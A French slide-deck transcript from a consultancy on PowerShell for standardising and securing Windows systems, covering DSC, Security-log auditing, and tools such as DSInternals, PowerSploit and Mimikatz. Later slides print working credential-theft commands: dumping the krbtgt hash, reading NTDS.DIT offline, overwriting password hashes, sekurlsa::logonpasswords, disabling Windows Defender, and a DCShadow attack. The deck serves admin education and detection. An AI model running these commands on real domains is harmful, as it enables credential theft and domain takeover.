La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

Digital Intelligence & data

Présentations similaires


Présentation au sujet: "Digital Intelligence & data"— Transcription de la présentation:

1 PowerShell la solution pour standardiser et sécuriser votre système d’informations

2 Digital Intelligence & data
A propos de Metsys Création fin 2011 Laurent Cayatte Président Yannick Varloud Directeur Général + 50% 5 agences en France 11 M€ Effectifs Nos offres 200 28 59 79 103 Cyber security Digital Intelligence & data Modern Workplace Infrastructure Services 2014 2015 2016 2017 Obj. 2018

3 Standardiser : le module PSADSync

4 Standardiser – le module PSADSYNC
Pourquoi synchroniser Permet de synchroniser un annuaire Active Directory depuis un fichier CSV. Type d’opérations : création (très basique) et modification Fichier CSV : utiliser la virgule comme séparateur. Mieux vaut partir sur un MIM Synchronization Services 2016 (gratuit) Installation simple : install-module PSADSYNC

5 Standardiser – PowerShell DSC

6 PowerShell DSC – présentation générale
Comment standardiser la configuration d’une machine ? PowerShell V4 – version recommandée : PowerShell 5.1. Idempotent (une opération a le même effet qu'on l'applique une ou plusieurs fois). Moteur PowerShell DSC est activée par défaut en attente d’un fichier de configuration. Inclus avec 23 ressources : registry, File, Services Nombreuses autres ressources au niveau de la communauté (PowerShell Galery…)- Création d’un fichier déclaratif (configuration) que l’on « compile » sous forme d’un fichier MOF. 3 actions possibles : tester la configuration (Test-DscConfiguration), appliquer la configuration (Start-DscConfiguration) et faire un retour arrière. PowerShell 5,1 : fichier MOF chiffré si exécution sur une machine distante. Toutes les 30 minutes, le moteur PowerShell DSC va réappliquer la configuration. Mode Push : mode manuel (celui qu’on présente ). Mode Pull : nécessite un serveur Collecteur sur lequel on crée un partage SMB. On met ensuite à disposition les fichier MOF.

7 PowerShell DSC – présentation générale
Quelques commandes PowerShell DSC à connaître pour démarrer  :

8 PowerShell DSC – exemple de fichiers de configuration PowerShell DSC
Quand on lance la fonctionAuditPreConf, cela génère le fichier MOF. En mode appliquer : le nom du nœud doit correspondre au nom de la machine !!! Mettre le nom de la machine au lieu de AuditPreConf.

9 PowerShell DSC – exemple de fichier MOF

10 PowerShell DSC – tester si la machine est conforme
Exécuter la commande : Test-DscConfiguration -ReferenceConfiguration "C:\DSC\AuditPreConf\AuditPreConfAll.mof" -ComputerName "sql2016a.oim.intra" | fl Machine non conforme  IsDesiredState : false Composant non conforme  ResourcesNOtInDesiredState

11 PowerShell DSC – appliquer une configuration sur une machine
Exécuter la commande : Start-DscConfiguration "C:\DSC\AuditPreConf" -wait -force -verbose

12 Sécuriser – analyser le journal Security

13 Analyser le journal Security avec PowerShell
Les problématiques : Déterminer les éléments à auditer et les interpréter. Ne pas perdre d’informations ----> attention à la rotation des événements Lenteur des commandes Get-WinEvent et Get-EventLog - volume de données très important -> plusieurs millions de ligne. Astuce : archivage des données sous forme de zip La solution : AuditConnexion Metsys Script PowerShell Metsys Utilisation des classes .Net Framework au lieu des commandes PowerShell.

14 Analyser le journal Security - Les événements à auditer
Les ID : 4624 : réussite - ouverture de session (indique le type de protocole) 4625 : échec - ouverture de session 4648 : ouverture de session secondaire, LDAP Bind Simple 4768 : génération d’un ticket TGT (réussite et échec) 4769 : échec génération d’un ticket TGT 4776 : Credential Validation (validation authentification NTLM) – très nombreuses occurences

15 Mesurer / optimiser la durée d’un script PowerShell
Get-WinEvent est encore plus lent que Get-EventLog        Measure-Command -Expression {Get-EventLog -LogName application} Measure-Command -Expression Utiliser les classes .Net Framework au lieu des commandes natives CMDLET = classe .Net Framework Utilisation de la CMDLET Get-Member pour trouver les classes C# d’une CMDLET. Utilisation du MSDN pour comprendre comment fonctionne les classes C#

16 Comprendre ce qu’est une CMDLET
Utilisation de DNSPY pour ouvrir la DLL d’un module PowerShell (exemple avec BitLocker) Utiliser la dernière build de dnSpy : Lancer dnSpy.EXE et charger le fichier C:\Windows\System32\WindowsPower Shell\v1.0\Modules\BitLocker\Microsof t.BitLocker.Structures.dll

17 Comprendre le script AuditConnexion
Instancier les 2 classes System.Diagnostics.Eventing.Reader.EventLogQuery et System.Diagnostics.Eventing.Reader.EventLogReader $LogName = "Security" $PathType = [System.Diagnostics.Eventing.Reader.PathType]::LogName $query = "*[System[(EventID=4624 or EventID=4625 or EventID=4768 or EventID=4769 or EventID=4771 or EventID=4776 or EventID=4648)]]" # Step 1 : Generate the request $EventLogQuery = New-Object System.Diagnostics.Eventing.Reader.EventLogQuery $LogName,$PathType,$query # Step 2 : run the request $events = new-object System.Diagnostics.Eventing.Reader.EventLogReader($EventLogQuery) Utiliser la méthode ReadEvent() pour lire 1 par 1 chaque événement. Convertir le résultat en XML. Ecrire le fichier que toutes les lignes. Vider la mémoire (Clear-Variable).

18 Sécuriser – le module DSInternals

19 Le stockage des mots de passe dans Active Directory
Les membres des groupes à fort privilèges n’ont pas accès en lecture au mot de passe Mot de passe d’un compte utilisateur Active Directory : Stockés sous forme de Hash / empreintes : LMHASH ( ) : 882B5831DF88FDB77C3113B4A1A5E3A0 NTHASH ( ) : B8895ECED52341EDFC6A078BB962CB3B Attributs dBCSPwd / UnicodePwd (mot de passe) et lmPwdHistory / ntPwdHistory (historique) protégés par le système Pour récupérer les Hash avec LIBESEDB et NTDSXTRACT. Rainbow Table : retrouver un mot de passe à partir d’un HASH Rainbow Table 17 Go : retrouver tout mot passe à partir de son LMHASH (14 caractères maximum)

20 Le module DSInternals : vue d’ensemble
Module de la communauté : Hacking Active Directory Approche module DSInternals : utilisation « standard » du protocole MS-DRSR (Directory Replication Service (DRS) Remote) : us/library/cc aspx 2 modes de fonctionnement : en ligne et hors ligne. Permet de lire / modifier le LMHASH et le NTHASH d’un compte. Installation simplifiée (PowerShell V5) : Install-Module DSInternals

21 Le module DSInternals : lire le hash du mot de passe de krbtgt
Solution 1 : mode en ligne (domaine : oimmil.intra, contrôleur de domaine : MILDC1.oimmil.intra) Taper la commande suivante : Get-ADReplAccount -SamAccountName krbtgt -Domain oimmil -Server MILDC1.oimmil.intra

22 Le module DSInternals : lire le hash du mot de passe de krbtgt (solution 2)
Solution 2 : mode hors ligne Générer un IFM (Install From Media) : Mkdir c:\_adm\IFM Ntdsutil Activate instance ntds ifm create full C:\_adm\IFM Afficher le mot de passe krbtgt au format nthash / lmhash avec la copie hors ligne du fichier NTDS.DIT $BootKey = Get-BootKey -SystemHiveFilePath C:\_adm\IFM\registry\SYSTEM $User = (Get-ADDBAccount -SamAccountName krbtgt -DBPath 'C:\_adm\ifm\Active Directory\ntds.dit' -Boot $BootKey) $NTHash = [System.BitConverter]::ToString($User.NTHash).replace("-","").ToLower() $NTHash

23 Le module DSInternals : modifier le NTHASH
Modifier la valeur de l’attribut UnicodePwd : # Convertir un mot de passe au format NTHASH et éditer directement un compte utilisateur : Password = ConvertTo-SecureString -String -Force –AsPlainText $NTHASH = ConvertTo-NTHash $Password Echo $NTHASH Set-SamAccountPasswordHash -SamAccountName service-powershell -NTHash $NTHASH -Domain oimmil

24 Sécuriser – le module PowerSploit

25 Le module PowerSploit : vue d’ensemble
Module de la communauté : Active-Directory.pdf Principales fonctionnalités : injection de code, injection de DLL, détection d’antivirus, scan de ports, Keylogger, copie de fichiers verrouillé, intégration Mimikatz Installation simplifiée : Install-Module PowerSploit ---> faire une installation manuelle Mimikatz : Analyse de la mémoire du processus LSASS.EXE (client et services Active Directory), 2 modes de fonctionnement : en ligne et hors ligne. Permet d’accéder en lecture uniquement au LMHASH et le NTHASH d’un compte utilisateur avec la commande : Invoke-Mimikatz -command "privilege::debug sekurlsa::logonpasswords"

26 Installation du module PowerSploit : les astuces
Télécharger les sources depuis le site web: Problème sous Windows 10 / Windows Procédure pour Windows 2012 R2 : Désactiver Windows Defender (gpedit.msc) Copier les sources dans le dossieren renommant le dossier PowerSpoit. C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ Débloquer les fichiers : Get-ChildItem –Path C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit -Recurse | Unblock-File

27 Sécuriser – détecter une attaque DCShadow avec PowerShell

28 Détecter l’attaque DCSHADOW avec PowerShell
Prérequis : privilège Domain Admins. Principe : l’attaquant veut faire des changements qui ne seront pas répliqués sur tous les contrôleurs de domaine. DCShadow va faire passer la machine sur lequel il est exécuté pour un DC en faisant des changements au niveau de la partition de configuration et en modifiant les ServicePrincipalName au niveau du compte ordinateur de cette machine. Conséquence : comme le changement est logué sur le contrôleur de domaine source en situation « standard », le changement sur le faux DC n’est pas logué. Procédure : utilisation de 2 commandes dans une première fenêtre Mimikatz : privilege::debug lsadump::dcshadow /object:CN=service powershell,OU=IT,DC=oimmil,DC=intra /attribute:description /value:"DCShadow was here!" lsadump::dcshadow /push

29 Détecter l’attaque DCSHADOW avec PowerShell
Procédure pour l’attaque DCSHADOW : Utilisation de 2 commandes dans une 1ère fenêtre Mimikatz : privilege::debug lsadump::dcshadow /object:CN=service powershell,OU=IT,DC=oimmil,DC=intra /attribute:description /value:"DCShadow was here!" lsadump::dcshadow /push Utilisation de 2 commandes dans une 2ème fenêtre Mimikatz : privilege::debug lsadump::dcshadow /push Détecter une attaque DCSHADOW avec un script PowerShell :


Télécharger ppt "Digital Intelligence & data"

Présentations similaires


Annonces Google